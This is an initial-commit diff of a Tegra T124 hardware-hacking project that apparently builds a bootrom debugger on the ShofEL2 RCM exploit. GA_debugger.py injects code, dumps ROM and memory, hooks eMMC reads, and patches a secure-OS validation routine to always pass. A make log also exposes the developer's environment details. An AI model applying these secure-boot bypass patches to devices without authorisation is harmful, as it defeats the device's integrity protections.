Initial commit
4
.gitignore
vendored
Normal file
@ -0,0 +1,4 @@
|
||||
venv/
|
||||
__pycache__/
|
||||
bin/
|
||||
dump/
|
1
.vscode/configurationCache.log
vendored
Normal file
@ -0,0 +1 @@
|
||||
{"buildTargets":[],"launchTargets":[],"customConfigurationProvider":{"workspaceBrowse":{"browsePath":[],"compilerArgs":[]},"fileIndex":[]}}
|
6
.vscode/dryrun.log
vendored
Normal file
@ -0,0 +1,6 @@
|
||||
make --dry-run --always-make --keep-going --print-directory
|
||||
make: Entering directory '/home/eljakim/Source/tegrax1_plus/source/Shofel2_T124_python'
|
||||
make: Leaving directory '/home/eljakim/Source/tegrax1_plus/source/Shofel2_T124_python'
|
||||
|
||||
make: *** No targets specified and no makefile found. Stop.
|
||||
|
57
.vscode/launch.json
vendored
Normal file
@ -0,0 +1,57 @@
|
||||
{
|
||||
// Use IntelliSense to learn about possible attributes.
|
||||
// Hover to view descriptions of existing attributes.
|
||||
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
|
||||
"version": "0.2.0",
|
||||
"configurations": [
|
||||
{
|
||||
"name": "Run exploit",
|
||||
"type": "python",
|
||||
"request": "launch",
|
||||
"program": "exploit.py",
|
||||
"console": "integratedTerminal",
|
||||
"args": ["ShofEL2-for-T124/payload.bin"]
|
||||
},
|
||||
{
|
||||
"name": "Prepare for GA(Thumb)",
|
||||
"type": "python",
|
||||
"request": "launch",
|
||||
"program": "exploit.py",
|
||||
"console": "integratedTerminal",
|
||||
"args": ["--ga", "/home/eljakim/Source/ghidra_assistent/source/utils/debugger/remote_shellcode/bin/nvidia_shield_t/debugger.bin"]
|
||||
},
|
||||
{
|
||||
"name": "Prepare for GA(ARM)",
|
||||
"type": "python",
|
||||
"request": "launch",
|
||||
"program": "exploit.py",
|
||||
"console": "integratedTerminal",
|
||||
"args": ["--ga_arm", "../../../ghidra_assistent/source/utils/debugger/remote_shellcode/bin/nvidia_shield/debugger.bin"]
|
||||
},
|
||||
{
|
||||
"name": "Run debugger (CONCRETE)",
|
||||
"type": "python",
|
||||
"request": "launch",
|
||||
"program": "GA_debugger.py",
|
||||
"console": "integratedTerminal",
|
||||
"justMyCode": false
|
||||
},
|
||||
{
|
||||
"name": "Emulate BootROM",
|
||||
"type": "python",
|
||||
"request": "launch",
|
||||
"program": "partial_emulation.py",
|
||||
"console": "integratedTerminal",
|
||||
"justMyCode": false
|
||||
},
|
||||
{
|
||||
"name": "Inspect HWIO",
|
||||
"type": "python",
|
||||
"request": "launch",
|
||||
"program": "inspect_hwio.py",
|
||||
"console": "integratedTerminal",
|
||||
"justMyCode": false,
|
||||
"args": ["bin/t124_brom_hwio.pickle"]
|
||||
}
|
||||
]
|
||||
}
|
8
.vscode/settings.json
vendored
Normal file
@ -0,0 +1,8 @@
|
||||
{
|
||||
"files.associations": {
|
||||
"mem_dumper_usb_server.h": "c",
|
||||
"types.h": "c",
|
||||
"payload.h": "c",
|
||||
"t124.h": "c"
|
||||
}
|
||||
}
|
311
.vscode/targets.log
vendored
Normal file
@ -0,0 +1,311 @@
|
||||
make all --print-data-base --no-builtin-variables --no-builtin-rules --question
|
||||
make: *** No rule to make target 'all'. Stop.
|
||||
|
||||
# GNU Make 4.2.1
|
||||
# Built for x86_64-pc-linux-gnu
|
||||
# Copyright (C) 1988-2016 Free Software Foundation, Inc.
|
||||
# License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
|
||||
# This is free software: you are free to change and redistribute it.
|
||||
# There is NO WARRANTY, to the extent permitted by law.
|
||||
|
||||
# Make data base, printed on Sat Aug 13 17:37:07 2022
|
||||
|
||||
# Variables
|
||||
|
||||
# 'override' directive
|
||||
GNUMAKEFLAGS :=
|
||||
# automatic
|
||||
<D = $(patsubst %/,%,$(dir $<))
|
||||
# automatic
|
||||
?F = $(notdir $?)
|
||||
# environment
|
||||
DESKTOP_SESSION = i3
|
||||
# default
|
||||
.SHELLFLAGS := -c
|
||||
# environment
|
||||
XDG_SESSION_CLASS = user
|
||||
# environment
|
||||
XDG_SESSION_TYPE = x11
|
||||
# automatic
|
||||
?D = $(patsubst %/,%,$(dir $?))
|
||||
# environment
|
||||
GRADLE_HOME = /opt/gradle/gradle-7.4.2
|
||||
# automatic
|
||||
@D = $(patsubst %/,%,$(dir $@))
|
||||
# environment
|
||||
XAUTHORITY = /run/user/1000/gdm/Xauthority
|
||||
# environment
|
||||
GDMSESSION = i3
|
||||
# default
|
||||
MAKE_VERSION := 4.2.1
|
||||
# makefile
|
||||
CURDIR := /home/eljakim/Source/tegrax1_plus/source/Shofel2_T124_python
|
||||
# makefile
|
||||
SHELL = /bin/sh
|
||||
# environment
|
||||
VTE_VERSION = 6003
|
||||
# environment
|
||||
VSCODE_NLS_CONFIG = {"locale":"en-us","availableLanguages":{},"_languagePackSupport":true}
|
||||
# environment
|
||||
_ = /usr/bin/code
|
||||
# environment
|
||||
XDG_CONFIG_DIRS = /etc/xdg/xdg-i3:/etc/xdg
|
||||
# makefile
|
||||
MAKEFILE_LIST :=
|
||||
# automatic
|
||||
@F = $(notdir $@)
|
||||
# environment
|
||||
USERNAME = eljakim
|
||||
# environment
|
||||
MAKELEVEL := 0
|
||||
# environment
|
||||
MANDATORY_PATH = /usr/share/gconf/i3.mandatory.path
|
||||
# environment
|
||||
XDG_DATA_DIRS = /usr/share/i3:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop
|
||||
# environment
|
||||
DBUS_SESSION_BUS_ADDRESS = unix:path=/run/user/1000/bus
|
||||
# environment
|
||||
REVERSEENV = /home/eljakim//ReverseEngineering/
|
||||
# environment
|
||||
LC_NAME = nl_NL.UTF-8
|
||||
# environment
|
||||
VSCODE_CWD = /home/eljakim/Source/ghidra_assistent/source/documentation/readthedocs
|
||||
# default
|
||||
MAKE_HOST := x86_64-pc-linux-gnu
|
||||
# environment
|
||||
PATH = /home/eljakim//ToolchainEnvironment//personal_scripts/:/home/eljakim//ToolchainEnvironment//platform-tools/:/home/eljakim//ReverseEngineering//current_ghidra:/home/eljakim//ToolchainEnvironment//personal_scripts/:/home/eljakim//ToolchainEnvironment//platform-tools/:/home/eljakim//ReverseEngineering//current_ghidra:/home/eljakim/.local/bin:/opt/gradle/gradle-7.4.2/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/bin:/usr/local/go/bin:/bin:/usr/local/go/bin
|
||||
# environment
|
||||
GPG_AGENT_INFO = /run/user/1000/gnupg/S.gpg-agent:0:1
|
||||
# environment
|
||||
LSCOLORS = Gxfxcxdxbxegedabagacad
|
||||
# environment
|
||||
XDG_RUNTIME_DIR = /run/user/1000
|
||||
# environment
|
||||
ELECTRON_RUN_AS_NODE = 1
|
||||
# default
|
||||
.FEATURES := target-specific order-only second-expansion else-if shortest-stem undefine oneshell archives jobserver output-sync check-symlink load
|
||||
# environment
|
||||
ELECTRON_NO_ATTACH_CONSOLE = 1
|
||||
# environment
|
||||
LS_COLORS = rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
|
||||
# environment
|
||||
XDG_SESSION_DESKTOP = i3
|
||||
# environment
|
||||
SSH_AUTH_SOCK = /tmp/ssh-Jk9OKLnxmczf/agent.2643
|
||||
# environment
|
||||
TOOLCHAINENV = /home/eljakim//ToolchainEnvironment/
|
||||
# environment
|
||||
DISPLAY = :1
|
||||
# environment
|
||||
TMUX_PANE = %4
|
||||
# environment
|
||||
PWD = /home/eljakim/Source/tegrax1_plus/source/Shofel2_T124_python
|
||||
# default
|
||||
.LOADED :=
|
||||
# environment
|
||||
XDG_SEAT = seat0
|
||||
# environment
|
||||
SSH_AGENT_PID = 2705
|
||||
# environment
|
||||
ORIGINAL_XDG_CURRENT_DESKTOP = i3
|
||||
# environment
|
||||
GTK_MODULES = gail:atk-bridge
|
||||
# environment
|
||||
VSCODE_AMD_ENTRYPOINT = vs/workbench/api/node/extensionHostProcess
|
||||
# environment
|
||||
HOME = /home/eljakim
|
||||
# environment
|
||||
VSCODE_CLI = 1
|
||||
# environment
|
||||
VSCODE_CODE_CACHE_PATH = /home/eljakim/.config/Code/CachedData/3b889b090b5ad5793f524b5d1d39fda662b96a2a
|
||||
# environment
|
||||
TMUX_PLUGIN_MANAGER_PATH = /home/eljakim/.tmux/plugins/
|
||||
# environment
|
||||
LOGNAME = eljakim
|
||||
# environment
|
||||
APPLICATION_INSIGHTS_NO_DIAGNOSTIC_CHANNEL = 1
|
||||
# automatic
|
||||
+F = $(notdir $+)
|
||||
# environment
|
||||
ZSH = /home/eljakim/.oh-my-zsh
|
||||
# environment
|
||||
VSCODE_HANDLES_UNCAUGHT_ERRORS = true
|
||||
# automatic
|
||||
^D = $(patsubst %/,%,$(dir $^))
|
||||
# environment
|
||||
XDG_VTNR = 2
|
||||
# environment
|
||||
REVERSEENVGHIDRADIR = /home/eljakim//ReverseEngineering//current_ghidra
|
||||
# environment
|
||||
LC_TIME = nl_NL.UTF-8
|
||||
# environment
|
||||
COLORTERM = truecolor
|
||||
# default
|
||||
MAKE = $(MAKE_COMMAND)
|
||||
# default
|
||||
MAKECMDGOALS := all
|
||||
# environment
|
||||
SHLVL = 2
|
||||
# environment
|
||||
XDG_SESSION_ID = 2
|
||||
# environment
|
||||
USER = eljakim
|
||||
# environment
|
||||
LC_MONETARY = nl_NL.UTF-8
|
||||
# makefile
|
||||
.DEFAULT_GOAL :=
|
||||
# environment
|
||||
XDG_CURRENT_DESKTOP = i3
|
||||
# environment
|
||||
LIBVIRT_DEFAULT_URI = qemu:///system
|
||||
# environment
|
||||
LESS = -R
|
||||
# automatic
|
||||
%D = $(patsubst %/,%,$(dir $%))
|
||||
# environment
|
||||
LC_TELEPHONE = nl_NL.UTF-8
|
||||
# environment
|
||||
I3SOCK = /run/user/1000/i3/ipc-socket.2643
|
||||
# default
|
||||
MAKE_COMMAND := make
|
||||
# environment
|
||||
OLDPWD = /home/eljakim/Source/ghidra_assistent/documentation
|
||||
# default
|
||||
.VARIABLES :=
|
||||
# automatic
|
||||
*F = $(notdir $*)
|
||||
# environment
|
||||
VSCODE_IPC_HOOK = /run/user/1000/vscode-7bea0092-1.69.2-main.sock
|
||||
# makefile
|
||||
MAKEFLAGS = pqrR
|
||||
# environment
|
||||
MFLAGS = -pqrR
|
||||
# automatic
|
||||
*D = $(patsubst %/,%,$(dir $*))
|
||||
# environment
|
||||
WORKINGENV = /home/eljakim/
|
||||
# automatic
|
||||
+D = $(patsubst %/,%,$(dir $+))
|
||||
# environment
|
||||
TMUX = /tmp//tmux-1000/default,3445,4
|
||||
# environment
|
||||
GDK_BACKEND = x11
|
||||
# environment
|
||||
LC_PAPER = nl_NL.UTF-8
|
||||
# environment
|
||||
NO_AT_BRIDGE = 1
|
||||
# automatic
|
||||
%F = $(notdir $%)
|
||||
# environment
|
||||
QT_ACCESSIBILITY = 1
|
||||
# environment
|
||||
DEFAULTS_PATH = /usr/share/gconf/i3.default.path
|
||||
# default
|
||||
MAKEFILES :=
|
||||
# environment
|
||||
LC_NUMERIC = nl_NL.UTF-8
|
||||
# automatic
|
||||
<F = $(notdir $<)
|
||||
# environment
|
||||
LC_MEASUREMENT = nl_NL.UTF-8
|
||||
# environment
|
||||
PAGER = less
|
||||
# environment
|
||||
LC_ALL = C
|
||||
# environment
|
||||
GNOME_TERMINAL_SCREEN = /org/gnome/Terminal/screen/fa2cf90b_0839_4ca4_95cd_5a4da07a6d90
|
||||
# automatic
|
||||
^F = $(notdir $^)
|
||||
# environment
|
||||
GNOME_TERMINAL_SERVICE = :1.27
|
||||
# default
|
||||
SUFFIXES :=
|
||||
# environment
|
||||
CHROME_DESKTOP = code-url-handler.desktop
|
||||
# environment
|
||||
WINDOWPATH = 2
|
||||
# default
|
||||
.INCLUDE_DIRS = /usr/include /usr/local/include /usr/include
|
||||
# environment
|
||||
LC_IDENTIFICATION = nl_NL.UTF-8
|
||||
# default
|
||||
.RECIPEPREFIX :=
|
||||
# environment
|
||||
LC_ADDRESS = nl_NL.UTF-8
|
||||
# environment
|
||||
LANG = C
|
||||
# environment
|
||||
TERM = screen
|
||||
# environment
|
||||
VSCODE_PID = 82455
|
||||
# variable set hash-table stats:
|
||||
# Load=113/1024=11%, Rehash=0, Collisions=19/135=14%
|
||||
|
||||
# Pattern-specific Variable Values
|
||||
|
||||
# No pattern-specific variable values.
|
||||
|
||||
# Directories
|
||||
|
||||
# . (device 64769, inode 92671944): 13 files, no impossibilities.
|
||||
|
||||
# 13 files, no impossibilities in 1 directories.
|
||||
|
||||
# Implicit Rules
|
||||
|
||||
# No implicit rules.
|
||||
|
||||
# Files
|
||||
|
||||
# Not a target:
|
||||
all:
|
||||
# Command line target.
|
||||
# Implicit rule search has been done.
|
||||
# File does not exist.
|
||||
# File has not been updated.
|
||||
|
||||
# Not a target:
|
||||
Makefile:
|
||||
# Implicit rule search has been done.
|
||||
# File does not exist.
|
||||
# File has been updated.
|
||||
# Failed to be updated.
|
||||
|
||||
# Not a target:
|
||||
makefile:
|
||||
# Implicit rule search has been done.
|
||||
# File does not exist.
|
||||
# File has been updated.
|
||||
# Failed to be updated.
|
||||
|
||||
# Not a target:
|
||||
.DEFAULT:
|
||||
# Implicit rule search has not been done.
|
||||
# Modification time never checked.
|
||||
# File has not been updated.
|
||||
|
||||
# Not a target:
|
||||
GNUmakefile:
|
||||
# Implicit rule search has been done.
|
||||
# File does not exist.
|
||||
# File has been updated.
|
||||
|
||||
# Failed to be updated.
|
||||
|
||||
# files hash-table stats:
|
||||
# Load=6/1024=1%, Rehash=0, Collisions=0/15=0%
|
||||
# VPATH Search Paths
|
||||
|
||||
# No 'vpath' search paths.
|
||||
|
||||
# No general ('VPATH' variable) search path.
|
||||
|
||||
# strcache buffers: 1 (0) / strings = 21 / storage = 226 B / avg = 10 B
|
||||
# current buf: size = 8162 B / used = 226 B / count = 21 / avg = 10 B
|
||||
|
||||
# strcache performance: lookups = 24 / hit rate = 12%
|
||||
# hash-table stats:
|
||||
# Load=21/8192=0%, Rehash=0, Collisions=1/24=4%
|
||||
# Finished Make data base on Sat Aug 13 17:37:07 2022
|
||||
|
||||
|
493
GA_debugger.py
Normal file
@ -0,0 +1,493 @@
|
||||
from ghidra_assistant.utils.utils import *
|
||||
from ghidra_assistant.utils.archs.asm_utils import *
|
||||
from ghidra_assistant.concrete_device import *
|
||||
from qiling.const import QL_ARCH
|
||||
from ghidra_assistant.utils.debugger.debugger_archs.ga_arm_thumb import GA_arm_thumb_debugger
|
||||
from exploit import *
|
||||
from keystone import *
|
||||
from t210 import *
|
||||
from hw_in_the_loop import *
|
||||
from partial_emulation import *
|
||||
|
||||
ks_arm = Ks(KS_ARCH_ARM, KS_MODE_ARM)
|
||||
ks_thumb = Ks(KS_ARCH_ARM, KS_MODE_THUMB)
|
||||
|
||||
logger = setup_logger("") # get root logger
|
||||
logger.setLevel(logging.DEBUG)
|
||||
|
||||
def device_setup(concrete_device : "ConcreteDevice"):
|
||||
'''
|
||||
This function has to return a device object that handles the communication between the host and the device.
|
||||
Must implement at least the following:
|
||||
|
||||
* read
|
||||
* write
|
||||
|
||||
In this function you can also setup known values that the concrete debugger will use, like the target architecture and locations of the debugger and the vbar
|
||||
'''
|
||||
|
||||
#Setup architecture
|
||||
concrete_device.arch = QL_ARCH.ARM
|
||||
concrete_device.ga_debugger_location = 0x4000E000
|
||||
concrete_device.ga_vbar_location = 0x40011000
|
||||
concrete_device.ga_storage_location = 0x40013000
|
||||
concrete_device.ga_stack_location = 0x40014000
|
||||
|
||||
rcm = TegraRCM()
|
||||
rcm.dev.read_chip_id()
|
||||
# file = "/home/eljakim/Source/gupje/source/bin/nvidia_shield/debugger.bin"
|
||||
file = "/home/eljakim/Source/gupje/source/bin/nvidia_shield_t/debugger.bin"
|
||||
# file = "/tmp/gardenia/build/bootloader"
|
||||
rcm.send_payload(file, thumb=1)
|
||||
concrete_device.arch_dbg = GA_arm_thumb_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location)
|
||||
|
||||
assert(rcm.dev.read(0x100) == b"GiAs")
|
||||
|
||||
concrete_device.arch_dbg.read = rcm.dev.read
|
||||
concrete_device.arch_dbg.write = rcm.dev.write
|
||||
|
||||
#Overwrite all calls to make the concrete target function properly
|
||||
concrete_device.copy_functions()
|
||||
|
||||
# And add custom functions
|
||||
def read_u32(address):
|
||||
return u32(concrete_device.memdump_region(address, 4))
|
||||
|
||||
def write_u32(address, value):
|
||||
concrete_device.memwrite_region(address, p32(value))
|
||||
|
||||
def read_str(address):
|
||||
d = b""
|
||||
while True:
|
||||
c = concrete_device.memdump_region(address, 1)
|
||||
if c == b"\x00":
|
||||
break
|
||||
d += c
|
||||
address += 1
|
||||
return d
|
||||
|
||||
concrete_device.read_u32 = read_u32
|
||||
concrete_device.write_u32 = write_u32
|
||||
concrete_device.read_str = read_str
|
||||
|
||||
concrete_device.debugger_main = concrete_device.get_debugger_location()
|
||||
return rcm
|
||||
|
||||
def test_arm_asm(cd : "ConcreteDevice"):
|
||||
cd.arch_dbg.state.auto_sync = False
|
||||
|
||||
shellcode = f"""
|
||||
.align 1
|
||||
start:
|
||||
|
||||
ldr r0, =addr_some_addr
|
||||
ldr r1, =0x1000
|
||||
ldr r2, =addr_debugger_storage
|
||||
ldr r4, =addr_usb_write
|
||||
bx r4
|
||||
|
||||
bx lr
|
||||
ldr r0, =addr_debugger_main
|
||||
bx r0
|
||||
b flush
|
||||
ldr r0, =addr_debugger_storage
|
||||
ldr r1, =0x77
|
||||
ldr r2, =0x77
|
||||
str r0, [r0]
|
||||
str r1, [r0, #4]
|
||||
str r2, [r0, #8]
|
||||
bx lr
|
||||
|
||||
flush:
|
||||
@ Flush the instruction cache
|
||||
@ mov r0, #0 @ Select the instruction cache
|
||||
@ mcr p15, 0, r0, c7, c5 @ Invalidate the entire instruction cache
|
||||
|
||||
@ Flush the data cache
|
||||
@ mov r0, #0 @ Select the data cache
|
||||
@ mcr p15, 0, r0, c7, c6 @ Invalidate the entire data cache
|
||||
bx lr
|
||||
ldr r0, =addr_debugger_main
|
||||
bx r0
|
||||
|
||||
|
||||
.align 3
|
||||
addr_debugger_storage: .word 0x40013000
|
||||
addr_usb_write: .word 0x001065C0
|
||||
addr_rom_start: .word 0x00100000
|
||||
addr_debugger_main : .word 0x4000E000
|
||||
addr_some_addr: .word 0x40020000
|
||||
.align 1
|
||||
addr_debugger_main_t: .word 0x4000E001
|
||||
"""
|
||||
|
||||
asm = ks_arm.asm(shellcode, as_bytes=True)[0]
|
||||
cd.memwrite_region(0x40013000 + 0x2000, asm)
|
||||
cd.jump_to(0x40013000 + 0x2000) #branch arm
|
||||
try:
|
||||
r = cd.read(0x200)
|
||||
pass
|
||||
except Exception as e:
|
||||
print(str(e))
|
||||
pass
|
||||
pass
|
||||
|
||||
def dump_full_dram_context(cd : "ConcreteDevice"):
|
||||
# BootROM
|
||||
rom = cd.memdump_region(0x100000, 0x17000)
|
||||
imem = cd.memdump_region(0x40000000, 0xfc00)
|
||||
|
||||
SETUP_SDRAM = 0x00101a14
|
||||
def attempt_boot_bct(cd : "ConcreteDevice"):
|
||||
dat = open("bin/imem_good.bin", 'rb').read()
|
||||
cd.memwrite_region(0x40000000, dat[:0xe000])
|
||||
cd.write(b"MAIN")
|
||||
cd.arch_dbg.state.auto_sync = False
|
||||
|
||||
cd.arch_dbg.state.print_ctx(print)
|
||||
dump_full_dram_context(cd)
|
||||
|
||||
jump_stub = f"""
|
||||
.align 1
|
||||
ldr r0, addr_debugger_main_t
|
||||
bx r0
|
||||
.align 4
|
||||
addr_debugger_main_t: .word 0x4000E001
|
||||
"""
|
||||
jump_stub = ks_thumb.asm(jump_stub, as_bytes=True)[0]
|
||||
|
||||
cd.memwrite_region(SETUP_SDRAM, jump_stub)
|
||||
|
||||
# Test dumb restore_and_jump
|
||||
# cd.arch_dbg.state.R0 = 0x00101c18
|
||||
# cd.arch_dbg.state.R3 = 0x4000E001
|
||||
def test_restore_and_jump():
|
||||
cd.arch_dbg.state.LR = 0x4000E001
|
||||
cd.restore_stack_and_jump(0x00101c28 + 1) # Some dumb function that sets r0
|
||||
assert cd.read(100) == b"GiAs"
|
||||
|
||||
cd.arch_dbg.state.LR = 0x4000E001
|
||||
cd.arch_dbg.state.R0 = 0x00101c18
|
||||
cd.restore_stack_and_jump(SETUP_SDRAM + 1)
|
||||
|
||||
cd.jump_to(0x00101c28 + 1)
|
||||
|
||||
|
||||
pass
|
||||
|
||||
|
||||
CLK_RST_CONTROLLER_MISC_CLK_ENB = 0x48
|
||||
IROM_LEN = 0x00010000
|
||||
def hw_init(cd : "ConcreteDevice"):
|
||||
# Get chip id
|
||||
# 0x14017
|
||||
cd.arch_dbg.state.print_ctx(print)
|
||||
def NvBootUtilGetTimeUS():
|
||||
cd.arch_dbg.state.LR = cd.arch_dbg.debugger_addr | 1
|
||||
cd.arch_dbg.restore_stack_and_jump(0x00100c7e | 1)
|
||||
assert cd.read(4) == b'GiAs', "Debugger crashed?"
|
||||
return cd.arch_dbg.state.R0
|
||||
chip_id = u32(cd.memdump_region(mmio_reg32(BASE_ADDRESSES['APB_MISC_BASE'], APB_MISC_GP_HIDREV), 4))
|
||||
chip_version = (chip_id >> 4) & 0xF
|
||||
|
||||
def clock_enable_fuse():
|
||||
addr = mmio_reg32(BASE_ADDRESSES['CLOCK_BASE'], CLK_RST_CONTROLLER_MISC_CLK_ENB)
|
||||
val = cd.read_u32(addr)
|
||||
enable = 1
|
||||
cd.write_u32(addr, val & 0xEFFFFFFF | ((enable & 1) << 28))
|
||||
|
||||
|
||||
# clock_enable_fuse()
|
||||
# Clear tz ram,
|
||||
# cd.memwrite_region(BASE_ADDRESSES['TZRAM_BASE'], b"\x00" * BASE_ADDRESSES['TZRAM_SIZE'])
|
||||
|
||||
# TODO
|
||||
# clock_enable_se
|
||||
# clock_enable_fuse
|
||||
# fuse_disable_program
|
||||
# mc_enable
|
||||
# _config_oscillators
|
||||
# _config_gpios
|
||||
# init_sdram
|
||||
|
||||
def setup_sdram():
|
||||
nvbootcontext = 0x40002404
|
||||
cd.arch_dbg.state.R0 = nvbootcontext
|
||||
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
|
||||
cd.restore_stack_and_jump(0x00101a14 | 1)
|
||||
pass
|
||||
# setup_sdram()
|
||||
|
||||
def relocate_debugger():
|
||||
'''
|
||||
Works, relocates the debugger to the end of IRAM
|
||||
'''
|
||||
reloc = open('/home/eljakim/Source/gupje/source/bin/nvidia_shield_t/debugger_reloc.bin', 'rb').read()
|
||||
cd.memwrite_region(0x4003c000, reloc)
|
||||
cd.restore_stack_and_jump(0x4003c000 | 1)
|
||||
assert cd.read(0x100) == b"GiAs"
|
||||
|
||||
# And relocate the debugger
|
||||
cd.relocate_debugger(0x40011000, 0x4003c000, 0x4003e000)
|
||||
|
||||
relocate_debugger()
|
||||
cd.memdump_region(0x40020000, 0x100)
|
||||
# setup_sdram()
|
||||
|
||||
def nvbootmain():
|
||||
# cd.arch_dbg.state.R1 = 0x40000000
|
||||
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
|
||||
cd.restore_stack_and_jump(0x00101318 | 1)
|
||||
pass
|
||||
# nvbootmain()
|
||||
|
||||
NVCOLDBOOT = 0x00101ad2
|
||||
def nvbootcoldboot():
|
||||
'''
|
||||
Works, attempts to load the BCT from the EMMC
|
||||
'''
|
||||
nvbootinfo = 0x40000000
|
||||
cd.write_u32(nvbootinfo, 0x400001)
|
||||
cd.write_u32(nvbootinfo + 4, 0x400001)
|
||||
cd.write_u32(nvbootinfo + 8, 0x400001)
|
||||
|
||||
# cd.write_u32(nvbootinfo + 0xc, 0x00000001) # Boot type, set later also
|
||||
|
||||
cd.write_u32(nvbootinfo + 0x10, 5) #Irom
|
||||
# cd.write_u32(nvbootinfo + 0x10, 9)
|
||||
|
||||
def NvBootClocksGetOscFreq():
|
||||
return cd.read_u32(cd.read_u32(0x00100214) + 0x10) >> 0x1c
|
||||
cd.write_u32(nvbootinfo + 0x28, NvBootClocksGetOscFreq()) #Irom
|
||||
cd.write_u32(nvbootinfo + 0xf0, nvbootinfo + 256) # End of boot info
|
||||
|
||||
# Move debugger in r0, to jump to that on failure
|
||||
cd.arch_dbg.state.R0 = 0x40020000 # cd.ga_debugger_location | 1
|
||||
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
|
||||
cd.restore_stack_and_jump(NVCOLDBOOT | 1)
|
||||
|
||||
assert cd.read(4) == b"GiAs", "Failed to jump to debugger"
|
||||
# BCT should be loaded at 0x40020000
|
||||
|
||||
|
||||
nvbootcoldboot()
|
||||
# dump_emmc()
|
||||
boot_to = 0x0
|
||||
if cd.arch_dbg.state.R0 == 0:
|
||||
# 0x40020000 should point to 0x4000e000
|
||||
boot_to = cd.read_u32(0x40020000)
|
||||
assert boot_to == 0x4000e000, "BCT not loaded correctly?"
|
||||
else:
|
||||
# BCT not loaded, fix this
|
||||
boot_to = 0x4000e000
|
||||
imem = open("bin/imem_bct", 'rb').read()
|
||||
cd.memwrite_region(0x40000000, imem)
|
||||
|
||||
# Setup sdram?
|
||||
# cd.arch_dbg.state.R0 = 0x40002404
|
||||
# cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
|
||||
# cd.restore_stack_and_jump(0x00101a14 | 1)
|
||||
# pass
|
||||
|
||||
# NvBootSdramQueryTotalSize
|
||||
# cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
|
||||
# cd.restore_stack_and_jump(0x00105dcc | 1)
|
||||
# pass
|
||||
|
||||
#nvloadbootloader
|
||||
# cd.arch_dbg.state.R0 = 0x40002404
|
||||
# cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
|
||||
# cd.restore_stack_and_jump(0x00104822 | 1)
|
||||
# pass
|
||||
|
||||
|
||||
|
||||
# Apply patches
|
||||
# patch validation of secure os
|
||||
stub = f"""
|
||||
mov r0, 0x0
|
||||
bx lr
|
||||
"""
|
||||
cd.memwrite_region(0x4001a2c0, ks_thumb.asm(stub, as_bytes=True)[0])
|
||||
|
||||
jump_stub = f"""
|
||||
ldr r12, addr_debugger_main_t
|
||||
bx r12
|
||||
.align 4
|
||||
addr_debugger_main_t: .word {hex(cd.ga_debugger_location | 1)}
|
||||
"""
|
||||
jump_stub = ks_arm.asm(jump_stub, as_bytes=True)[0]
|
||||
|
||||
NVBOOTSDMMCREADPAGE = 0x4001d1dc
|
||||
emmc_dump_patch = cd.memdump_region(NVBOOTSDMMCREADPAGE, 0x20)
|
||||
def dump_emmc_patches():
|
||||
cd.memwrite_region(NVBOOTSDMMCREADPAGE, jump_stub)
|
||||
|
||||
# Add this to enable emmc hooks
|
||||
# dump_emmc_patches()
|
||||
|
||||
# Setup code for log hook
|
||||
cd.memwrite_region(0x4001cadc, jump_stub)
|
||||
|
||||
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
|
||||
cd.restore_stack_and_jump(boot_to)
|
||||
|
||||
while True:
|
||||
try:
|
||||
r = cd.read(0x100)
|
||||
if cd.arch_dbg.state.LR == NVBOOTSDMMCREADPAGE:
|
||||
# Try dumping the emmc
|
||||
cd.memwrite_region(NVBOOTSDMMCREADPAGE, emmc_dump_patch)
|
||||
print(f"block={cd.arch_dbg.state.R0} page={cd.arch_dbg.state.R1} buffer={hex(cd.arch_dbg.state.R2)}")
